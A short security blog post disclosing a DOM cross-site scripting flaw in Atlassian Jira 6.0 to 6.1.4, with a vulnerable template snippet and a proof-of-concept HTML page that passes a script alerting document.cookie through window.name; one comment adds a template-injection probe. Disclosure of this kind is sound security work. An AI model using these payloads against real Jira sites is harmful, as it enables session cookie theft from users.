27.1.16

Atlassian Jira | DOM XSS Vulnerability | Unauthenticated

Written by   | With 8 comments
Atlassian Jira is a widely-used project management platform, offering robust tools for tracking, managing, and collaborating on various projects. Its features, including issue tracking and customizable workflows, make it a staple in software development and project management.

DOM XSS (Cross-Site Scripting) is a medium-critical vulnerability specific to web applications. This attack allows malicious scripts to be injected directly into a web page's Document Object Model (DOM), putting users at risk. Prompt identification and remediation of this vulnerability are essential to safeguarding a web application's integrity and security.


Proof of Concept

Tesla Motors | BugBounty 

# Exploit Title: Atlassian Jira 6.0.* <= 6.1.4 DOM XSS
# Date : 27.01.2016
# Author: Razvan Cernaianu
# Vendor Homepage: https://www.atlassian.com
# Version: 6.0.* <= 6.1.4
# Blog: www.TinKode.com


Vulnerable code 

# Vulnerable Parameter: $window.name
<div class="aui-page-header-main">
  <h1>${name}</h1>
</div>


Exploit 

<html>
<script>
 var victim= window.open('https://victim/secure/Dashboard.jspa', '<script>alert(document.cookie);<\/script>');
</script>
</html>
Share on:

8 comments:

  1. UnknownJanuary 29, 2016 at 7:28 PM

    Nice

    ReplyDelete
  2. UnknownJanuary 31, 2016 at 1:20 PM

    Dar ce e asta?

    ReplyDelete
  3. AnonymousFebruary 9, 2016 at 12:23 AM

    frumos

    ReplyDelete
  4. AnonymousFebruary 9, 2016 at 12:24 AM

    Frumos

    ReplyDelete
  5. AnonymousFebruary 10, 2016 at 2:25 AM

    Am o problema si suna cam asa :
    Acum cativa ani ani am creat un cont google , am uploadat o imagine cu mine , iar acum doresc sa o sterg.
    Cum pot sterge acea imagine daca nu mai am acces la cont ?

    ReplyDelete
  6. PandaTechieMarch 19, 2017 at 10:34 PM

    Great post, I don't know much programming but this seems interesting.

    ReplyDelete
  7. AnonymousJuly 11, 2024 at 11:38 PM

    IT seems to be SSTI.... ${{9*9}}

    ReplyDelete